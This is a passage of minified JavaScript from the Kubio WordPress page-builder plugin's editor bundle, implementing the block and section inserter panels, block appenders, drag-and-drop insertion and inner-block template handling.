blocks","kubio"),icon:null,blockTypes:o}].filter((({blockTypes:e})=>e&&e.length)).map((({icon:e,label:n,blockTypes:o})=>(0,Nt.jsxs)("div",{children:[(0,Nt.jsxs)("div",{className:"block-editor-inserter__panel-header",children:[(0,Nt.jsx)("h2",{className:"block-editor-inserter__panel-title",children:n}),e&&(0,Nt.jsx)(Ua,{icon:e})]},`inserter-${n}-label`),(0,Nt.jsx)("div",{className:"block-editor-inserter__panel-content",children:(0,Nt.jsx)(lp,{items:o,...t})},`inserter-${n}-cotent`)]},`inserter-${n}-container`)))},Lh=function({filterValue:e,onSelect:t,onHover:n,rootClientId:o,clientId:i,isAppender:r,maxBlockTypes:l,showBlockDirectory:s=!1,isDraggable:a=!0,shouldFocusBlock:h=!0,shouldSelectBlock:g=!0,isQuick:f=!1,ownerDocument:m,kubioInsertPosition:v}){const b=(0,p.useDebounce)(br.speak,500),k=(0,d.useSelect)((e=>e(c.store).getBlockType)),[_,y]=Nh({onSelect:t,rootClientId:o,clientId:i,isAppender:r,shouldFocusBlock:h,shouldSelectBlock:g,ownerDocument:m,kubioInsertPosition:v}),[x,S,w,C]=La(_,y),B=(0,u.useMemo)((()=>{let t=[];if((0,se.isEmpty)(e)&&f&&(t=x.filter((({name:e})=>{var t,n,o;return null===(t=k(e))||void 0===t||null===(n=t.supports)||void 0===n||null===(o=n.kubio)||void 0===o?void 0:o.isGutentagQuickInsertDefault}))),(0,se.isEmpty)(t)){const n=x.sort(((e,t)=>((0,oe.isGutentagPrefixed)(e.name)?0:1)-((0,oe.isGutentagPrefixed)(t.name)?0:1)));t=Ra(n,S,w,e)}return void 0!==l?t.slice(0,l):t}),[e,x,S,w,l]);(0,u.useEffect)((()=>{if(!e)return;const t=B.length,n=(0,Je.sprintf)(/* translators: %d: number of results. */ /* translators: %d: number of results. */(0,Je._n)("%d result found.","%d results found.",t,"kubio"),t);b(n)}),[e,b]);const I=!(0,se.isEmpty)(B);return(0,Nt.jsxs)(Nt.Fragment,{children:[!s&&!I&&(0,Nt.jsx)(yh,{}),!!B.length&&(0,Nt.jsxs)(sp,{title:(0,Nt.jsx)(ne.VisuallyHidden,{children:(0,Je.__)("Blocks","kubio")}),children:[e&&(0,Nt.jsx)(Ah,{filteredBlockTypes:B,onSelect:C,onHover:n,label:(0,Je.__)("Blocks","kubio"),isDraggable:a}),!e&&(0,Nt.jsx)(lp,{items:B,onSelect:C,onHover:n,label:(0,Je.__)("Blocks","kubio"),isDraggable:a})]}),s&&(0,Nt.jsx)(Ph.Slot,{fillProps:{onSelect:C,onHover:n,filterValue:e,hasItems:I,rootClientId:_},children:e=>e.length?e:I?null:(0,Nt.jsx)(yh,{})})]})},Dh={name:"blocks",/* translators: Blocks tab title in the block inserter. */title:(0,Je.__)("Blocks","kubio")},Oh={name:"kubio-sections",/* translators: Patterns tab title in the block inserter. */title:(0,Je.__)("Sections","kubio")},zh={name:"patterns",/* translators: Patterns tab title in the block inserter. */title:(0,Je.__)("Patterns","kubio")},Fh={name:"reusable",/* translators: Locally created Patterns tab title in the block inserter. */title:(0,Je.__)("Synced patterns","kubio")},Vh=function({children:e,showPatterns:t=!1,showReusableBlocks:n=!1,onSelect:o,initialTabName:i}){const r=(0,u.useMemo)((()=>{const e=[Dh,Oh];return n&&e.push(Fh),e}),[Dh,!1,zh,n,Fh,Oh]),l=(0,u.useRef)();return(0,u.useLayoutEffect)((()=>{if(l.current&&i&&r.length){const e=setTimeout((()=>{const e=(0,se.find)(r,{name:i}),t=r.indexOf(e),n=l.current.querySelectorAll(".components-tab-panel__tabs > *");n&&n.length&&n[t].click()}),50);return()=>clearTimeout(e)}}),[l.current,i,r]),(0,Nt.jsx)("div",{ref:l,children:(0,Nt.jsx)(ne.TabPanel,{className:"block-editor-inserter__tabs",tabs:r,onSelect:o,initialTabName:i,children:e})})},Hh=window.kubio.log;function Gh({area:e="content",onInsert:t,filterValue:n=""}){const[o,i,r]=((e,t="content")=>{const{patternCategories:n,patterns:o}=(0,d.useSelect)((e=>{const{getSettings:n}=e(hs);return{patterns:n().__experimentalBlockPatterns.filter((e=>e.isGutentagPattern&&0===e.name.indexOf(`kubio-${t}`))),patternCategories:n().__experimentalBlockPatternCategories}}),[t]),i=(0,u.useCallback)(((t,n)=>{const o=t.isGutentagPattern?(0,oe.transformTemplateToBlock)(n):(0,se.map)(n,(e=>(0,c.cloneBlock)(e)));e(o,t)}),[e]);return[(0,u.useMemo)((()=>{var e;return null==o||null===(e=o.sort)||void 0===e?void 0:e.call(o,((e,t)=>0+e.isProPattern-t.isProPattern))}),[o]),n,i]})(t,e),{isFrontPage:l}=(0,d.useSelect)((e=>{let t;try{const{getIsFrontPage:n=ue().noop}=e("kubio/edit-site")||{};t=n()}catch(e){Hh.Log.error("BlockGutentagSectionsCategory - determine isFrontPage",e)}return{isFrontPage:t}}),[]),s=(0,d.useSelect)((e=>{const{getExcludedSectionCategories:t}=e("kubio/edit-site");return t()})),[a,p]=(0,u.useState)(oe.ALL_TAG),{filteredPatterns:h,availableTagSlugs:g}=(0,u.useMemo)((()=>{const e=new Set;return{filteredPatterns:o.filter((t=>{var n;const o=ue().get(t,"categories.0",""),i=o===Vt.INNER_HEADERS_CATEGORY;if(s.includes(o))return!1;if(l&&i)return!1;const r=(null==t?void 0:t.publicTags)||[];return r.forEach((t=>{e.add(t)})),!!(a===oe.ALL_TAG||null!=r&&null!==(n=r.includes)&&void 0!==n&&n.call(r,a))&&!!(0,oe.isPatternAvailableInCurrentTheme)(t)})),availableTagSlugs:[...e]}}),[o,l,a]),f=window.kubioPatternsRegistered?yh:$h,m=(0,u.useMemo)((()=>Na(h,n)),[n,h]),v=(0,u.useMemo)((()=>{let e=1;return i.filter((e=>m.some((t=>{var n;return null===(n=t.categories)||void 0===n?void 0:n.includes(e.name)})))).map((t=>{let n=!1;return t.name!==Vt.HERO_ACCENT_CATEGORY&&e&&(e--,n=!0),{...t,open:n}}))}),[m,i]),b=(0,u.useMemo)((()=>{const e={};return v.forEach((({name:t})=>{const n=m.filter((e=>{var n;return null===(n=e.categories)||void 0===n?void 0:n.includes(t)}));e[t]=n.sort(((e,t)=>0+e.isProOnFree-t.isProOnFree))})),e}),[m,v]),k=(0,u.useCallback)((e=>{if(!e.categories||!e.categories.length)return 1/0;const t=(0,se.fromPairs)(v.map((({name:e},t)=>[e,t])));return Math.min(...e.categories.map((e=>void 0!==t[e]?t[e]:1/0)))}),[v]);(0,u.useEffect)((()=>{m.some((e=>k(e)===1/0))&&!v.find((e=>"uncategorized"===e.name))&&v.push({name:"uncategorized",label:(0,Je._x)("Uncategorized","kubio","kubio")})}),[v,m,k]);const _=({title:e,slug:t})=>(0,Nt.jsxs)(Nt.Fragment,{children:[e,(0,Nt.jsxs)("span",{className:"kubio-pattern__category-count",children:["(",b[t].length,")"]})]});return(0,Nt.jsxs)(Nt.Fragment,{children:[!!g.length&&(0,Nt.jsx)("div",{className:"kubio-inserter-section-tags__container",children:(0,Nt.jsx)(oe.KubioSectionsTags,{activeTag:a,setActiveTag:p,availableTagSlugs:g})}),!!v.length&&(0,Nt.jsx)(ne.Panel,{className:"kubio-patterns-panel",children:v.map((e=>{let t=e.label;return"kubio-content/blank"===e.name&&(t=(0,Je.__)("Blank section","kubio")),(0,Nt.jsx)(ne.PanelBody,{title:(0,Nt.jsx)(_,{title:t,slug:e.name}),initialOpen:e.open||!(0,se.isEmpty)(n),opened:1===v.length||void 0,children:(0,Nt.jsx)(_h,{blockPatterns:b[e.name],onClickPattern:r,orientation:"vertical"})},`patterns-category-${e.name}`)}))}),!v.length&&(0,Nt.jsx)(f,{})]})}function $h(){return(0,Nt.jsxs)("div",{className:"block-editor-inserter__no-results",children:[(0,Nt.jsx)(Ua,{className:"block-editor-inserter__no-results-icon",icon:za}),(0,Nt.jsxs)("div",{className:"block-editor-inserter__no-results__message",children:[(0,Nt.jsx)(Ua,{icon:fh.KubioLoader}),(0,Nt.jsx)("p",{children:(0,Je.__)("Loading sections…","kubio")})]})]})}const Uh=function({rootClientId:e,onInsert:t,filterValue:n,area:o="content"}){return(0,Nt.jsx)(Gh,{rootClientId:e,onInsert:t,filterValue:n,area:o})},Wh=function({rootClientId:e,clientId:t,isAppender:n,__experimentalInsertionIndex:o,onSelect:i,showInserterHelpPanel:r,showMostUsedBlocks:l,shouldFocusBlock:s=!0,shouldSelectBlock:a=!0,ownerDocument:c}){const[p,h]=(0,u.useState)(""),[g,f]=(0,u.useState)(null),[m,v,b,k]=Nh({rootClientId:e,clientId:t,isAppender:n,insertionIndex:o,shouldFocusBlock:s,shouldSelectBlock:a,ownerDocument:c}),{showPatterns:_,hasReusableBlocks:y,patternsInserterArea:x,showGutentagSectionsTab:S}=(0,d.useSelect)((e=>{var t;const{getSettings:n,__experimentalGetAllowedPatterns:o}=e(hs),i=e("kubio/edit-site").getOpenedInserter();let r="content";return(0,se.isString)(i)&&(-1!==i.indexOf("pattern-inserter/")&&(r=i.replace("pattern-inserter/","")),-1!==r.indexOf("-blocks")&&(r=r.replace("-blocks","")),-1!==r.indexOf("post-content")&&(r="content")),{showPatterns:!m||!!o(m).length,hasReusableBlocks:!(null===(t=n().__experimentalReusableBlocks)||void 0===t||!t.length),patternsInserterArea:r,showGutentagSectionsTab:(0,se.isString)(i)&&"block-inserter"!==i&&-1===i.indexOf("blocks")}}),[m]),w=(0,u.useCallback)(((e,t,n)=>{void 0===n&&(n=!0),v(e,t,n),i()}),[v,i]),C=(0,u.useCallback)(((e,t)=>{var n,o;const r=(null===(n=(0,se.first)(null==t||null===(o=t.name)||void 0===o?void 0:o.split("/")))||void 0===n?void 0:n.replace("kubio-",""))||"content";v(e,{patternName:(null==t?void 0:t.name)||t,pattern:t,area:r}),i()}),[v,i]),B=(0,u.useRef)(),I=(0,u.useCallback)((t=>{e&&B.current!==t&&(B.current=t,b(!!t))}),[b,e]),j=(0,u.useCallback)((e=>{f(e)}),[f]),E=(0,u.useMemo)((()=>p?(0,Nt.jsx)(Lh,{filterValue:p,onSelect:i,onHover:I,rootClientId:e,clientId:t,isAppender:n,showBlockDirectory:!1,shouldFocusBlock:s,shouldSelectBlock:a}):(0,Nt.jsxs)(Nt.Fragment,{children:[(0,Nt.jsx)("div",{className:"block-editor-inserter__block-list",children:(0,Nt.jsx)(ap,{rootClientId:m,onInsert:w,onHover:I,showMostUsedBlocks:l})}),r&&(0,Nt.jsxs)("div",{className:"block-editor-inserter__tips",children:[(0,Nt.jsx)(ne.VisuallyHidden,{as:"h2",children:(0,Je.__)("A tip for using the block editor","kubio")}),(0,Nt.jsx)(Ad,{})]})]})),[p,m,w,I,l,r,i,e,t,n,!1,s,a]),T=(0,u.useMemo)((()=>(0,Nt.jsx)(Sh,{rootClientId:m,onInsert:C,onClickCategory:j,selectedCategory:g})),[m,C,j,g]),P=(0,u.useMemo)((()=>(0,Nt.jsx)(Uh,{rootClientId:m,onInsert:C,filterValue:p,area:x})),[m,C,p,x]),M=(0,u.useRef)(),R=(0,u.useMemo)((()=>(0,Nt.jsx)(jh,{rootClientId:m,onInsert:w,onHover:I})),[m,w,I]),[N,A]=(0,u.useState)(),L=(0,u.useCallback)((e=>(N!==e.name&&A(e.name),"blocks"===e.name?E:"kubio-sections"===e.name?P:"patterns"===e.name?T:R)),[N,R,E,P,T]),D=(0,u.useMemo)((()=>S?"kubio-sections":"blocks"),[S]),[O,z]=(0,u.useState)(D),{showCreateTemplateModal:F,onCloseTemplateModal:V,onCreateTemplate:H,newTemplateData:G,patternRootClientId:$,...U}=k;return(0,u.useEffect)((()=>{var e;null!=M&&null!==(e=M.current)&&void 0!==e&&e.scrollTop&&(M.current.scrollTop=0)}),[O]),(0,Nt.jsxs)("div",{className:"block-editor-inserter__menu",children:[(0,Nt.jsx)("div",{className:"block-editor-inserter__main-area",ref:M,children:(0,Nt.jsxs)("div",{className:"block-editor-inserter__content",children:[(0,Nt.jsx)(Od,{onChange:e=>{h(e)},value:p,label:(0,Je.__)("Search for blocks and patterns","kubio"),placeholder:(0,Je.__)("Search","kubio")}),(0,Nt.jsx)(oe.KubioSectionsTagsSlotFill.Slot,{}),(0,Nt.jsx)(Vh,{showPatterns:_,showReusableBlocks:y,initialTabName:O,onSelect:z,children:L})]})}),F&&(0,Nt.jsx)(Rd,{area:$,innerBlocks:G,onClose:V,onSuccess:H,...U})]})};function Kh({onSelect:e,rootClientId:t,clientId:n,isAppender:o,ownerDocument:i,kubioInsertPosition:r,onClickBrowseAll:l}){const[s,a]=(0,u.useState)(""),[c,p]=Nh({onSelect:e,rootClientId:t,clientId:n,isAppender:o,ownerDocument:i,kubioInsertPosition:r}),[h]=La(c,p),g=h.length>6,{setInserterIsOpened:f,insertionIndex:m,totalInnerBlocks:v}=(0,d.useSelect)((e=>{const{getSettings:o,getBlockIndex:i,getBlockCount:r,getBlockOrder:l}=e(hs),s=i(n,t);return{setInserterIsOpened:o().__experimentalSetIsInserterOpened,insertionIndex:-1===s?r():s,totalInnerBlocks:l(t).length}}),[n,t]);return(0,u.useEffect)((()=>{f&&f(!1)}),[f]),(0,Nt.jsxs)("div",{className:Oa()("block-editor-inserter__quick-inserter",{"has-search":g,"has-expand":f}),children:[g&&(0,Nt.jsx)(Od,{value:s,onChange:e=>{a(e)},label:(0,Je.__)("Search for blocks and patterns","kubio"),placeholder:(0,Je.__)("Search","kubio")}),(0,Nt.jsx)("div",{className:"block-editor-inserter__quick-inserter-results",children:(0,Nt.jsx)(Lh,{filterValue:s,onSelect:e,rootClientId:t,clientId:n,isAppender:o,maxBlockTypes:6,isDraggable:!1,isQuick:!0,kubioInsertPosition:r})}),f&&(0,Nt.jsx)(ne.Button,{className:"block-editor-inserter__quick-inserter-expand",onClick:e=>{e.target.blur();let n=m;"begin"===r&&(n=0),"end"===r&&(n=v),f({rootClientId:t,insertionIndex:n,isAppender:!0}),null==l||l()},"aria-label":(0,Je.__)("Browse all. This will open the main inserter panel in the editor toolbar.","kubio"),children:(0,Je.__)("Browse all","kubio")})]})}const Zh=({onToggle:e,disabled:t,isOpen:n,blockTitle:o,hasSingleBlockType:i,toggleProps:r={}})=>{let l;l=i?(0,Je.sprintf)(// translators: %s: the name of the block when there is only one // translators: %s: the name of the block when there is only one (0,Je._x)("Add %s","directly add the only allowed block","kubio"),o):(0,Je._x)("Add block","Generic label for block inserter button","kubio");const{onClick:s,...a}=r;return(0,Nt.jsx)(ne.Button,{icon:xd,label:l,tooltipPosition:"bottom",onClick:function(t){e&&e(t),s&&s(t)},className:"block-editor-inserter__toggle","aria-haspopup":!i&&"true","aria-expanded":!i&&n,disabled:t,...a})};class qh extends u.Component{constructor(){super(...arguments),this.onToggle=this.onToggle.bind(this),this.renderToggle=this.renderToggle.bind(this),this.renderContent=this.renderContent.bind(this)}onToggle(e){const{onToggle:t}=this.props;t&&t(e)}renderToggle({onToggle:e,isOpen:t}){const{disabled:n,blockTitle:o,hasSingleBlockType:i,directInsertBlock:r,toggleProps:l,hasItems:s,renderToggle:a=Zh,prioritizePatterns:c}=this.props;return a({onToggle:e,isOpen:t,disabled:n||!s,blockTitle:o,hasSingleBlockType:i,directInsertBlock:r,toggleProps:l,prioritizePatterns:c})}renderContent({onClose:e}){const{rootClientId:t,clientId:n,isAppender:o,showInserterHelpPanel:i,__experimentalIsQuick:r,ownerDocument:l,prioritizePatterns:s,onSelectOrClose:a,selectBlockOnInsert:c,kubioInsertPosition:u,onClickBrowseAll:d}=this.props;return r?(0,Nt.jsx)(Kh,{onSelect:t=>{const n=Array.isArray(t)&&null!=t&&t.length?t[0]:t;a&&"function"==typeof a&&a(n),e()},rootClientId:t,clientId:n,isAppender:o,prioritizePatterns:s,selectBlockOnInsert:c,ownerDocument:l,kubioInsertPosition:u,onClickBrowseAll:d}):(0,Nt.jsx)(Wh,{onSelect:()=>{e()},rootClientId:t,clientId:n,isAppender:o,showInserterHelpPanel:i,ownerDocument:l})}render(){const{position:e,hasSingleBlockType:t,directInsertBlock:n,insertOnlyAllowedBlock:o,__experimentalIsQuick:i,onSelectOrClose:r,anchorRef:l,anchor:s}=this.props;if(t||n)return this.renderToggle({onToggle:o});const a=(0,oe.wpVersionCompare)("6.1","<")?{}:{position:e,placement:"bottom",anchorRef:l,anchor:s,shift:!0};return(0,Nt.jsx)(ne.Dropdown,{className:"block-editor-inserter",contentClassName:Oa()("block-editor-inserter__popover",{"is-quick":i}),position:e,popoverProps:a,onToggle:this.onToggle,expandOnMobile:!0,headerTitle:(0,Je.__)("Add a block","kubio"),renderToggle:this.renderToggle,renderContent:this.renderContent,onClose:r})}}const Yh=(0,p.compose)([(0,d.withSelect)(((e,{clientId:t,rootClientId:n,shouldDirectInsert:o=!0})=>{var i;const{getBlockRootClientId:r,hasInserterItems:l,__experimentalGetAllowedBlocks:s,getDirectInsertBlock:a,getAllowedBlocks:u,getSettings:d}=e(hs),{getBlockVariations:p}=e(c.store),h=(u||s)(n=n||r(t)||void 0),g=o&&a(n),f=d(),m=1===(null==h?void 0:h.length)&&0===(null===(i=p(h[0].name,"inserter"))||void 0===i?void 0:i.length);let v=!1;return m&&(v=h[0]),{hasItems:l(n),hasSingleBlockType:m,blockTitle:v?v.title:"",allowedBlockType:v,directInsertBlock:g,rootClientId:n,prioritizePatterns:f.__experimentalPreferPatternsOnRoot&&!n}})),(0,d.withDispatch)(((e,t,{select:n})=>({insertOnlyAllowedBlock(){const{rootClientId:o,clientId:i,isAppender:r,hasSingleBlockType:l,allowedBlockType:s,directInsertBlock:a,onSelectOrClose:u,selectBlockOnInsert:d,kubioInsertPosition:p}=t;if(!l&&!a)return;const{insertBlock:h}=e(hs);let g;if(a){const e=function(e){const{getBlock:t,getPreviousBlockClientId:r}=n(hs);if(!e||!i&&!o)return{};const l={};let s={};if(i){const e=t(i),n=t(r(i));(null==e?void 0:e.name)===(null==n?void 0:n.name)&&(s=(null==n?void 0:n.attributes)||{})}else{var c;const e=t(o);if(null!=e&&null!==(c=e.innerBlocks)&&void 0!==c&&c.length){const t=e.innerBlocks[e.innerBlocks.length-1];a&&(null==a?void 0:a.name)===t.name&&(s=t.attributes)}}return e.forEach((e=>{s.hasOwnProperty(e)&&(l[e]=s[e])})),l}(a.attributesToCopy);g=(0,c.createBlock)(a.name,{...a.attributes||{},...e})}else g=(0,c.createBlock)(s.name);var f;h(g,function(){const{getBlockIndex:e,getBlockSelectionEnd:t,getBlockOrder:l,getBlockRootClientId:s}=n(hs);if("begin"===p)return 0;if("end"===p)return l(o).length;if(i)return e(i,o);const a=t();return!r&&a&&s(a)===o?e(a,o)+1:l(o).length}(),o,d),u&&u({clientId:null===(f=g)||void 0===f?void 0:f.clientId});const m=(0,Je.sprintf)(// translators: %s: the name of the block that has been added // translators: %s: the name of the block that has been added (0,Je.__)("%s block added","kubio"),s.title);(0,br.speak)(m)}}))),(0,p.ifCondition)((({hasItems:e,isAppender:t,rootClientId:n,clientId:o})=>e||!t&&!n&&!o))])(qh),Xh=(0,u.forwardRef)(((e,t)=>(0,Nt.jsx)(Yh,{ref:t,...e}))),Qh="\ufeff";function Jh({rootClientId:e}){const{showPrompt:t,isLocked:n,placeholder:o,isManualGrid:i}=(0,d.useSelect)((t=>{var n,o;const{getBlockCount:i,getSettings:r,getTemplateLock:l,getBlockAttributes:s}=t(hs),a=!i(e),{bodyPlaceholder:c}=r();return{showPrompt:a,isLocked:!!l(e),placeholder:c,isManualGrid:null===(n=s(e))||void 0===n||null===(o=n.layout)||void 0===o?void 0:o.isManualPlacement}}),[e]),{insertDefaultBlock:r,startTyping:l}=(0,d.useDispatch)(hs);if(n||i)return null;const s=(0,Za.decodeEntities)(o)||(0,Je.__)("Type / to choose a block"),a=()=>{r(void 0,e),l()};return(0,Nt.jsxs)("div",{"data-root-client-id":e||"",className:ms("block-editor-default-block-appender",{"has-visible-prompt":t}),children:[(0,Nt.jsx)("p",{tabIndex:"0",role:"button","aria-label":(0,Je.__)("Add default block"),className:"block-editor-default-block-appender__content",onKeyDown:e=>{sd.ENTER!==e.keyCode&&sd.SPACE!==e.keyCode||a()},onClick:()=>a(),onFocus:()=>{t&&a()},children:t?s:Qh}),(0,Nt.jsx)(Xh,{rootClientId:e,position:"bottom right",isAppender:!0,__experimentalIsQuick:!0})]})}const eg=(0,oe.wpVersionCompare)("6.4","<");function tg({rootClientId:e,className:t,onFocus:n,tabIndex:o},i){const[r,l]=(0,u.useState)(null),s=(0,p.useMergeRefs)([i,l]),a=(0,u.useMemo)((()=>({getBoundingClientRect(){var e;return null==r||null===(e=r.getBoundingClientRect)||void 0===e?void 0:e.call(r)},contextElement:eg?void 0:r,ownerDocument:eg?null==r?void 0:r.ownerDocument:void 0})),[r]);return(0,Nt.jsx)(Xh,{position:"bottom center",rootClientId:e,__experimentalIsQuick:!0,anchor:a,anchorRef:r,renderToggle:({onToggle:e,disabled:i,isOpen:r,blockTitle:l,hasSingleBlockType:a})=>{let c;c=a?(0,Je.sprintf)(// translators: %s: the name of the block when there is only one // translators: %s: the name of the block when there is only one (0,Je._x)("Add %s","directly add the only allowed block","kubio"),l):(0,Je._x)("Add block","Generic label for block inserter button","kubio");const u=!a;let d=(0,Nt.jsxs)(ne.Button,{ref:s,onFocus:n,tabIndex:o,className:Oa()(t,"block-editor-button-block-appender"),onClick:e,"aria-haspopup":u?"true":void 0,"aria-expanded":u?r:void 0,disabled:i,label:c,children:[!a&&(0,Nt.jsx)(ne.VisuallyHidden,{as:"span",children:c}),(0,Nt.jsx)(Ua,{icon:xd})]});return(u||a)&&(d=(0,Nt.jsx)(ne.Tooltip,{text:c,children:d})),d},isAppender:!0})}const ng=(0,u.forwardRef)(((e,t)=>(Ye()("wp.blockEditor.ButtonBlockerAppender",{alternative:"wp.blockEditor.ButtonBlockAppender",since:"5.9"}),tg(e,t)))),og=(0,u.forwardRef)(tg);function ig({rootClientId:e}){return(0,d.useSelect)((t=>t(hs).canInsertBlockType((0,c.getDefaultBlockName)(),e)))?(0,Nt.jsx)(Jh,{rootClientId:e}):(0,Nt.jsx)(og,{rootClientId:e,className:"block-list-appender__toggle"})}function rg({rootClientId:e,CustomAppender:t,className:n,tagName:o="div"}){const i=(0,d.useSelect)((t=>{const{getBlockInsertionPoint:n,isBlockInsertionPointVisible:o,getBlockCount:i}=t(hs),r=n();return o()&&e===(null==r?void 0:r.rootClientId)&&0===i(e)}),[e]);return(0,Nt.jsx)(o,{tabIndex:-1,className:Oa()("block-list-appender wp-block",n,{"is-drag-over":i}),contentEditable:!1,"data-block":!0,children:t?(0,Nt.jsx)(t,{}):(0,Nt.jsx)(ig,{rootClientId:e})})}const lg=window.wp.isShallowEqual;var sg=n.n(lg);const ag=new WeakMap;function cg(){let e;return t=>(void 0!==e&&sg()(e,t)||(e=t),e)}function ug(e){const[t]=(0,u.useState)(cg);return t(e)}var dg=n(2991),pg=n.n(dg),hg=n(9588),gg=n.n(hg);function fg(e,t,n=["top","bottom","left","right"]){let o,i;return n.forEach((n=>{const r=function(e,t,n){const o="top"===n||"bottom"===n,{x:i,y:r}=e,l=o?i:r,s=o?r:i,a=o?t.left:t.top,c=o?t.right:t.bottom,u=t[n];let d;return d=l>=a&&l<=c?l:l<c?a:c,Math.sqrt((l-d)**2+(s-u)**2)}(e,t,n);(void 0===o||r<o)&&(o=r,i=n)})),[o,i]}function mg(e,t){return t.left<=e.x&&t.right>=e.x&&t.top<=e.y&&t.bottom>=e.y}const vg=window.kubio.coreHooks;function bg(e){let t={srcRootClientId:null,srcClientIds:null,srcIndex:null,type:null,blocks:null};if(!e.dataTransfer)return t;try{t=Object.assign(t,JSON.parse(e.dataTransfer.getData("wp-blocks")))}catch(e){return t}return t}function kg(e,t,n={}){const{uiVersion:o}=(0,vg.useUIVersion)(),{operation:i="insert",nearestSide:r="right"}=n,{canInsertBlockType:l,getBlockIndex:s,getClientIdsOfDescendants:a,getBlockOrder:p,getBlocksByClientId:h,getSettings:g,getBlock:f}=(0,d.useSelect)(hs),{getGroupingBlockName:m}=(0,d.useSelect)(c.store),{insertBlocks:v,moveBlocksToPosition:b,updateBlockAttributes:k,clearSelectedBlock:_,replaceBlocks:y,removeBlocks:x}=(0,d.useDispatch)(hs),S=(0,d.useRegistry)(),w=(0,u.useCallback)(((n,s=!0,a=0,u=[])=>{Array.isArray(n)||(n=[n]),n=(0,oe.cleanFontFamilyFromBlocks)(n);const d=p(e)[t];if("replace"===i)y(d,n,void 0,a);else if("group"===i){const t=f(d);"left"===r?n.push(t):n.unshift(t);const o=n.map((e=>(0,c.createBlock)(e.name,e.attributes,e.innerBlocks))),i=n.every((e=>"core/image"===e.name)),s=l("core/gallery",e),p=(0,c.createBlock)(i&&s?"core/gallery":m(),{layout:{type:"flex",flexWrap:i&&s?null:"nowrap"}},o);y([d,...u],p,void 0,a)}else v(n,t,e,1===o&&s,a)}),[p,e,t,i,y,f,r,l,m,v,o]),C=(0,u.useCallback)(((n,o,r)=>{if("replace"===i){const o=h(n),i=p(e)[t];S.batch((()=>{x(n,!1),y(i,o,void 0,0)}))}else b(n,o,e,r)}),[i,p,h,b,S,x,y,t,e]),B=function(e,t,n,o,i,r,l,s,a,u){return d=>{const{srcRootClientId:p,srcClientIds:h,type:g,blocks:f}=bg(d);if("inserter"===g){const e=1===s;1===s&&l();const t=f.map((e=>(0,c.cloneBlock)(e)));r(t,e,null)}if("block"===g){const l=n(h[0]);if(p===e&&l===t)return;if(h.includes(e)||o(h).some((t=>t===e)))return;if("group"===a){const e=h.map((e=>u(e)));return void r(e,!0,null,h)}const s=p===e,c=h.length;i(h,p,s&&l<t?t-c:t)}}}(e,t,s,a,C,w,_,o,i,f),I=function(e,t,n,o,i){return r=>{if(!t().mediaUpload)return;const l=(0,c.findTransform)((0,c.getBlockTransforms)("from"),(t=>"files"===t.type&&o(t.blockName,e)&&t.isMatch(r)));if(l){const e=l.transform(r,n);i(e)}}}(e,g,k,l,w),j=function(e){return t=>{const n=(0,c.pasteHandler)({HTML:t,mode:"BLOCKS"});n.length&&e(n)}}(w);return e=>{const t=(0,Cp.getFilesFromDataTransfer)(e.dataTransfer),n=e.dataTransfer.getData("text/html");n?j(n):t.length?I(t):B(e)}}const _g=(e,t)=>t<e-20||t>e+20,yg=()=>{top.requestIdleCallback((()=>{setTimeout((()=>top.document.body.classList.remove("kubio-dragging-from-inserter--active")),10)}))},xg=e=>{e.ownerDocument.querySelectorAll(".kubio-is-hovered-on-drop").forEach((t=>{t.isSameNode(e)||t.classList.remove("is-hovered","kubio-is-hovered-on-drop")})),e.classList.add("is-hovered","kubio-is-hovered-on-drop")};function Sg(e,t,n,o){let i=!0;if(t){const e=null==t?void 0:t.map((({name:e})=>e));i=n.every((t=>null==e?void 0:e.includes(t)))}const r=n.map((t=>e(t))).every((e=>{const[t]=(null==e?void 0:e.parent)||[];return!t||t===o}));return i&&r}const wg={};function Cg({children:e,clientId:t}){const n=function(e){return(0,d.useSelect)((t=>{const n=t(hs).getBlock(e);if(!n)return;const o=t(c.store).getBlockType(n.name);return o&&0!==Object.keys(o.providesContext).length?Object.fromEntries(Object.entries(o.providesContext).map((([e,t])=>[e,n.attributes[t]]))):void 0}),[e])}(t);return(0,Nt.jsx)(bs,{value:n,children:e})}const Bg=(0,u.memo)(nk);function Ig(e){const{clientId:t,allowedBlocks:n,prioritizedInserterBlocks:o,defaultBlock:i,directInsert:r,__experimentalDefaultBlock:l,__experimentalDirectInsert:s,template:a,templateLock:p,wrapperRef:h,templateInsertUpdatesSelection:g,__experimentalCaptureToolbars:f,__experimentalAppenderTagName:m,renderAppender:v,orientation:b,placeholder:k,layout:_,name:y,blockType:x,parentLock:S,defaultLayout:w}=e;!function(e,t,n,o,i,r,l,s,a,c,p,h){const g=(0,d.useRegistry)(),f=ug(n),m=ug(o),v=void 0===a||"contentOnly"===t?t:a;(0,u.useLayoutEffect)((()=>{const t={allowedBlocks:f,prioritizedInserterBlocks:m,templateLock:v};if(void 0!==c&&(t.__experimentalCaptureToolbars=c),void 0!==p)t.orientation=p;else{const e=Vu(null==h?void 0:h.type);t.orientation=e.getOrientation(h)}void 0!==l&&(Ye()("__experimentalDefaultBlock",{alternative:"defaultBlock",since:"6.3",version:"6.4"}),t.defaultBlock=l),void 0!==i&&(t.defaultBlock=i),void 0!==s&&(Ye()("__experimentalDirectInsert",{alternative:"directInsert",since:"6.3",version:"6.4"}),t.directInsert=s),void 0!==r&&(t.directInsert=r),void 0!==t.directInsert&&"boolean"!=typeof t.directInsert&&Ye()("Using `Function` as a `directInsert` argument",{alternative:"`boolean` values",since:"6.5"}),ag.get(g)||ag.set(g,{}),ag.get(g)[e]=t,window.queueMicrotask((()=>{const e=ag.get(g);if(Object.keys(e).length){const{updateBlockListSettings:t}=g.dispatch(hs);t(e),ag.set(g,{})}}))}),[e,f,m,v,i,r,l,s,c,p,h,g])}(t,S,n,o,i,r,l,s,p,f,b,_),function(e,t,n,o){const i=(0,d.useRegistry)(),r=(0,u.useRef)(null);(0,u.useLayoutEffect)((()=>{let l=!1;const{getBlocks:s,getSelectedBlocksInitialCaretPosition:a,isBlockSelected:u}=i.select(hs),{replaceInnerBlocks:d,__unstableMarkNextChangeAsNotPersistent:p}=i.dispatch(hs);return window.queueMicrotask((()=>{if(l)return;const i=s(e),h=0===i.length||"all"===n||"contentOnly"===n,g=!pg()(t,r.current);if(!h||!g)return;r.current=t;const f=(0,c.synchronizeBlocksWithTemplate)(i,t);pg()(f,i)||(p(),d(e,f,0===i.length&&o&&0!==f.length&&u(e),a()))})),()=>{l=!0}}),[t,n,e,i,o])}(t,a,p,g);const 